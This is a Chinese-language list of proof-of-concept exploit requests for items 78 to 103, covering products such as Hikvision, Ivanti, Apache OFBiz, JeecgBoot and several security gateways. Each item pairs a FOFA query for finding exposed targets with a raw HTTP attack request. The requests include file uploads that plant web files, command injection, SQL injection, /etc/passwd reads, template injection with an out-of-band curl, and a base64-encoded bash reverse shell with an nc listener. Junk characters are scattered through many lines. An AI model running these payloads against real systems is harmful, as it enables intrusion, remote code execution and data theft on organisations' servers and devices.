" p8 x. u, H$ b2 b6 M/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
4 Q: \2 E1 l; V& s6 g4 KContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
5 s0 S) _3 l$ W+ R2 `  fContent-Type: application/octet-stream

3 u8 a- U0 Z$ W# C2 e! a1 Xhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
. ^" ~# E! u- t4 E6 f' ]Content-Disposition: form-data; name="Upload"
8 d# I9 I, v( b; d/ n
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
* t# G, H/ Q1 F1 C' P1 }: I

4 n5 ?3 c  \) x! y: c78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
2 V$ e  D! F; z. ?% a% sPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- k6 m, y3 V3 \) o" m! J9 iConnection: close
Content-Length: 336
Accept-Encoding: gzip
  l, O0 C$ \' {$ Y( w  N8 S2 g' o: \3 AContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
8 c- Q/ W4 _4 F/ F. [; _Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
, E9 x4 d6 q: C, o$ x- AContent-Type: image/png
$ H& ~0 o5 p. O' ^: X- P( X
YsOxWxSvj1KyZow1PTsh98fdu6l
9 K. U; j/ Y$ H7 x------YsOxWxSvj1KyZow1PTsh98fdu6l
3 z. q3 r  ^4 K9 d& E1 |1 g' NContent-Disposition: form-data; name="target"
- U( B; H8 `/ A7 k8 L
/Applications/SkillDevelopAndEHS/
+ Q( i! L, {, C$ q0 ]------YsOxWxSvj1KyZow1PTsh98fdu6l--

; \! e! J: g. H" R  B% U/ C
) ~4 D, `* j  _% _, f: f1 pGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
) ^/ \0 \5 d. ?Host: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
, I) [- @+ ^: M4 n) }GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  \; i/ j4 J; [7 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
4 W$ `! R4 v+ ?) V) ?$ oUpgrade-Insecure-Requests: 1
" H: A! V, p. l
! n' h# F" ?6 L: V# |
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ s" t4 D# r6 N0 f+ VFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
+ j1 v5 ?1 ]# M1 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# {; ?% o$ F4 p5 c. r) @Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 s6 G8 S9 n+ H( X, N( VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

$ p. o( c0 I" Z% C3 k4 z<% out.print("oessqeonylzaf");%>
4 r* n- s3 W- s
, k& \" ~1 O( B5 |
5 ~# t% k) ~( AGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
# Y2 n: x3 n* o) A  U0 R7 Z8 j' c' j- y6 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 Y. O4 m  [8 Z6 {) CConnection: close
Accept-Encoding: gzip

. _, X8 V1 ?! d8 m4 h* G
9 r# E2 ]- D' N4 W; l81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
3 K1 H' N$ J, @8 x" S2 q6 [FOFA：app="uniview-视频监控"
- Q9 O: @/ ?( w- c2 j9 b+ cGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 F  L$ l7 e1 _/ X% Y6 LAccept-Encoding: gzip

3 z- i& k/ l+ I) }4 I# U
' Z+ L8 J( |3 j% e* G' _82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 F& i2 ^3 P9 G7 f/ ?; n. T: |FOFA：app="思福迪-LOGBASE"
8 J( u9 e) }5 i( `POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
+ ~2 w* ~- ]& }4 \: k5 t3 `Content-Length: 23
7 p# ~" a  k9 nAccept-Encoding: gzip
Connection: close
& |% M! z$ [; h/ X$ ^( lContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
  I7 k4 n' }' t( V
z1=1&z2="|id;"&z3=bhost
* ?. c  A6 n7 p1 E

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
% ~* ^# S9 S* M6 ?$ q; b/ F+ A/ W/ F
& W# g  E$ Y; A4 x9 V
) J5 F) \/ u3 l# _5 F  iPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# e6 G2 ]3 J( ]6 D( g' w0 gConnection: close
Content-Length: 8881
6 p5 K% Q5 Z1 }4 uAccept-Encoding: gzip
3 }1 Q1 K" L5 _: eCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
# h/ i5 _) E5 S$ n( h
5 o" R' B1 ]6 n; o8 y- B' f+ ePAYLOAD
; ~) N6 E9 f- q9 K6 D' R
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  r- w7 t6 Y" k- bFOFA：title=="JeecgBoot 企业级低代码平台"


( X0 G  z9 N+ P+ g
" j: R5 \3 _  y9 i" EPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
* g; B6 Z: a6 GHost: 192.168.40.130:8080
% x) C5 T4 A3 a8 b) r* \/ bUser-Agent: curl/7.88.1
. ]. B# T) J  J* l- _Content-Length: 156
Accept: */*
9 U9 t  I" d  S% nConnection: close
Content-Type: application/json
Accept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


5 j+ Q' ~& B9 S1 |, k3 F( e85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! w& T& c' d* V7 h' d$ ~  cHost: x.x.x.x
. B7 u1 U0 w. p2 A! f" IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! @* Z, ]5 J9 z' k& G0 rContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
& j% m2 @/ w/ ~) Y
7 u' J3 V) m; e# d! o  k回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
; s8 i1 i$ g! }# ]FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
0 y4 y% j# R3 RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ }1 }* T5 S$ g% Z1 \: y% |Connection: close
9 g7 B$ H# y+ d- ^/ TContent-Length: 44
Accept: */*
! c, O( p& b: O. }7 n7 i# |Accept-Encoding: gzip
2 Y# O5 v- g+ Z9 X+ K/ I& wAccept-Language: en
Content-Type: application/x-www-form-urlencoded
- E, n: T- F5 e9 i" j- _
host=%0acat${IFS}/etc/passwd%0a&command=ping

5 i: }( ?; I! M& f) Y  c( \0 I
87. 安恒明御安全网关aaa_local_web_preview文件上传
. W: G# `" z! b# V6 p+ s" k+ ^5 d8 H& JFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
7 j7 d* T7 O& k7 ^& FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 n2 Z; |' l) FContent-Length: 198
  j. U; O3 S9 {& t8 X. lAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
/ w& o$ ~- j, R! V3 X. LContent-Type: text/plain
) w) |) ?5 v& r; u( m0 o
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
9 @3 Y$ i: f9 {--qqobiandqgawlxodfiisporjwravxtvd--
' H2 B4 ?5 t7 [$ E3 f
9 r7 b4 P( A% L  A) _
8 Q+ X8 f, x0 P+ e/jfhatuwe.php

/ O  y5 S5 v+ t8 q88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 X9 C1 B: t7 I) ~; o' t& hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 c( @4 S. i/ V5 U6 j
3 I6 ]  t7 h% ~: [  ^# W3 H7 \) S9 i
/astdfkhl.php
" y5 J! ?( E4 l" u
8 V0 \/ f7 L8 G3 S89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
) j3 E7 a& z  d0 c. a7 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" \" t8 @$ S- M, u9 {7 fConnection: close
8 l8 e/ p2 m3 w9 y% X/ |  FContent-Length: 41
( o. d% y, T! r+ m! sContent-Type: application/x-www-form-urlencoded
0 C# e( h/ ~* c2 f  Y% sAccept-Encoding: gzip
, t5 C" y4 ]9 p* O
option=2&GUID=-1'+union+select+111*222--+

  ^' ]# P+ I( P' z7 V" J
* ^& Y' W" I" Z2 ~* I$ O90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
$ y- _4 F& Q8 M1 m1 K- cFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
9 Z3 d# ?2 X4 f/ z* P; Y* \" NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 g) S: s: J! ], ]; BContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
4 m2 d+ L# ^4 j  V8 N1 o$ SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 w- F4 ]  L' V% [Connection: close
  l/ ~" F4 v0 B5 HContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

: |3 g& x6 K( S) q4 e+ j8 {
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
  t- V% ~9 }. u, T3 q5 v) `2 H9 _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
- D4 f$ R1 ?7 i9 ?' G* g: X6 z, XAccept-Encoding: gzip, deflate
Accept: */*
* {8 L" s7 U% \Connection: keep-alive
* |! j, C& `% w+ b! a6 D
0 q  J8 g' c4 j0 q  c
% Q" n4 U/ G# g. _  ]$ E
92. 海康威视运行管理中心session命令执行
, X0 i% h9 o0 g' P9 rFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
! C& T$ R- F6 k3 a7 qPOST /center/api/session HTTP/1.1
8 S5 t  ]8 o: q6 z* F0 R8 jHost:
  Q& J4 O9 P  I, _! l8 c# z8 BAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
7 R2 d) G+ E  m3 ?X-Language-Type: zh_CN
Testcmd: echo test
' m/ ?* X. h+ U/ D% A; o. LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
, Q, W$ f' p( P; F4 ]2 xContent-Length: 5778

" U: c6 }; g8 v) HPAYLOAD
0 }  @2 _* {4 b& t% Y; M# O! L

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 ?7 a3 X" k9 v0 v" ?/ ]FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
2 w, {9 j: g( r) G9 l* _. w' mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

$ U" |8 H+ x7 \( v: t------WebKitFormBoundarykcbkgdfx
. r; j  @' {* n" c3 I0 O# sContent-Disposition: form-data; name="MAX_FILE_SIZE"
3 z: K! c4 `5 X2 q$ Q6 L
  R- r7 L: @8 K10000000
1 F  B( P0 O. ^------WebKitFormBoundarykcbkgdfx
; v. X' R$ T4 nContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
' W: d9 @9 W5 t/ Z
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
* e% V* X5 E  v8 w5 N( k
! C( J, L+ T6 |' Hobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
% I3 ~( k# @$ {" Q3 p- J
( O" G7 s/ b$ a1 s4 h9 t& J0b9d6b1ab7479ab69d9f71b05e0e9445
) g$ H+ W3 G% z9 }2 V) P- V------WebKitFormBoundarykcbkgdfx--
) W/ f, C! L# J) {  j  S
4 y* m  S' v$ K' i
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
7 M) X+ I0 \- E( O" nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ @% d; @$ `( P$ y7 g

' h# ]4 X& N2 M8 ]) A94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
8 m+ d, w0 f9 u% S! E9 W, ]" _/ zPOST /?g=obj_area_import_save HTTP/1.1
5 ~" w" C0 H) MHost: x.x.x.x
, m# {  r" I$ N3 Q. _8 p$ }' l: m. GContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

$ `# N- y1 @$ E. ^+ S2 e( p------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

5 r+ A$ e' g1 }. y0 h- n7 ~) P% D10000000
/ M  Y5 N# z* N/ r' {! _4 Z, }. Q------WebKitFormBoundarybqvzqvmt
8 v8 r0 U8 W  I  K0 H1 I0 @Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
" n7 {% A! l$ }
6 Y" F. Z9 V5 |- ]4 _pxplitttsrjnyoafavcajwkvhxindhmu
9 W) ^9 i* L+ s7 v' Y5 D' _------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
: j( a: A' V* `  v------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
% J3 p# D. O0 ]' K
) y' s& T' k* X( s& f/ Q+ U0b9d6b1ab7479ab69d9f71b05e0e9445
& o1 a$ j7 d: A% i' ~------WebKitFormBoundarybqvzqvmt--
0 z! Q/ P3 c! k- j$ \

2 I' ]" `! P# i  A8 Q/ [3 V( Z
" l) b! o0 E3 iGET /attachements/xlskxknxa.txt HTTP/1.1
, p0 e8 s: f' Y! s# ?Host: xx.xx.xx.xx
! `; w$ M* n* D! M$ pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; {/ ]) i/ z! b
$ _. E5 k# ?5 X& a  B& B
& t# A/ G# _8 u
9 z2 z. Z7 c- p95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
. K$ I/ s6 M9 n, k* s3 _8 v, u2 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
4 c: B! `% m5 |# A3 ]3 E! rContent-Length: 889
Content-Type: application/xml
& m' I: q' K. f# w6 O% a0 n' Q4 EAccept-Encoding: gzip
  _& c6 N& f( N3 v
6 [* k* J) @. ~3 B# \<?xml version="1.0"?>
6 C; Q4 Y6 ]' D  b<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
! Y* P, q3 r5 s" m! x) m      <param>
      <value>
        <struct>
       <member>
9 L& m7 w; q1 X2 Y; m+ n& h          <name>test</name>
' H* }; B' E- |3 H) O% M& ]          <value>
. z7 I' ~* n; V+ @; {* h      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
5 w- h, d0 G, h  i1 n          </value>
; o4 H+ x+ \0 K        </member>
      </struct>
# p; s6 `, ^+ S) s) c* N7 l& T      </value>
; K6 x: f) S- O6 `3 l    </param>
    </params>
* R4 |$ H8 `1 W; K+ w* l- l</methodCall>

1 Z, _% F  i. r5 k; B3 e
3 D8 g! q. Y9 q- H  @  }7 S用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
/ U* }. a# }( E$ k

6 ^6 V4 W6 b2 S2 v( d& k2 P8 e将生成的payload替换到上面的POC
6 g( C5 T6 ]+ w/ j7 l) T. ?  v% IPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
: k" B4 j, D0 I2 P/ P) F- `# RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 r7 p% ]% _" k, E8 z7 U: T; w; ?Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

. w$ Q/ P6 }& J# n96. Apache OFBiz  18.12.11 groovy 远程代码执行
% d  W" d" h9 s: yFOFA：app="Apache_OFBiz"
) L( |7 H" }  n! D1 w( _0 N0 tPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 [7 N" H/ c5 g* JHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  {" G- E% t+ }/ h- J4 l* SContent-Type: application/x-www-form-urlencoded
; G  G0 r; g& T; \0 E  YContent-Length: 55
! x" }5 j- V5 ^
groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
, d. D4 Q8 B+ L4 }2 |& N在kali上启动一个监听
nc -lvp 7777
  ]- @; C0 \+ P1 \3 Y
$ q  c/ f4 E; [# \$ L* P' N  dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. b7 x* v. H2 Q; vAccept: */*
$ e- [9 g+ X( nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
$ C, U7 Y5 e; h! u- H& XContent-Length: 71

7 M# \6 @$ F! [groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

1 W* g( c: Z2 h3 t7 D97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. Z# |! l  M. B4 [FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) W7 g# S, }: WGET /passport/login/ HTTP/1.1
( C3 \( K8 A# |: T2 \Host: 192.168.40.130:8085
, a' U' _; W4 u" ?+ d& C7 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
- D( E. Y: ?! C- _+ GConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
+ p: i7 C# w$ @# s- t

8 r. Z. m- m5 t; v% u" ^98. SpiderFlow爬虫平台远程命令执行
7 _/ H0 f; H1 dCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
% L" t& I% c3 e+ w2 S# m( k0 W! UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^- K; i8 H& ^, ~  X7 e% A1 BContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
$ i0 [# j- |2 o% L  Z  s

; Q) g# h& E6 b3 N8 H6 J& Y7 h* V99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
# q3 L1 b0 O5 LHost: 192.168.40.130:8080
1 B* H; Q% j8 `+ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* i3 X6 N' {5 E4 T+ O# p) xConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& m/ n4 h' G0 d8 U' y9 u/ |Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

1 n. Z7 [2 a% x7 c7 W%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
3 J% R, N8 N9 a/ O2 t% _: c% T
' z3 [8 \' C4 s& P7 I
0 r& Q$ N2 S3 ~% Q: H* s- n100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* n2 f) q! o6 i5 G! sCVE-2024-0352
- P, R2 ]2 \: _6 CFOFA：icon_hash="874152924"
, _4 G, B1 F/ f, `" x* ~POST /api/file/formimage HTTP/1.1
- d, S$ ?4 [" g$ L% k$ Y; L5 nHost: 192.168.40.130
- e2 t* P8 A( L' `1 [' F: }" tUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
0 r0 n- D/ w$ c4 IContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" A" M/ p- U) }* g* R
7 ^8 Z, }9 E2 k0 U0 s5 _; w" b2ayyhRXiAsKXL8olvF5s4qqyI2O
6 [& y3 [5 K* y5 |------WebKitFormBoundarygcflwtei--

% O* l: S5 R% @9 _. F% ~
  P: G6 G) s0 S! _& R) \/ J: S- g101. ivanti policy secure-22.6命令注入
2 G" ?. g) N7 e! @5 q4 d, zCVE-2024-21887
; H' x& }6 j5 E! {, C7 w4 n# UFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
7 [; c! j' D5 k* R' gHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
+ @6 E  g8 _+ b/ G$ m
" _) a7 R/ W9 ?6 w7 k
4 @: j8 s3 e( I7 ]  B) D9 u. J102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
& [6 M6 z8 L6 ?" QCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
8 j/ C2 @' ]9 \0 |$ MPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
8 s! b8 ~* o) `, TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* K2 I$ v! B! i, m$ D% K+ n6 F/ w. G5 V2 vConnection: close
Content-Length: 792
% v  x) N) e5 p6 m* U/ lAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
, |7 Q! |& u6 g1 eHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

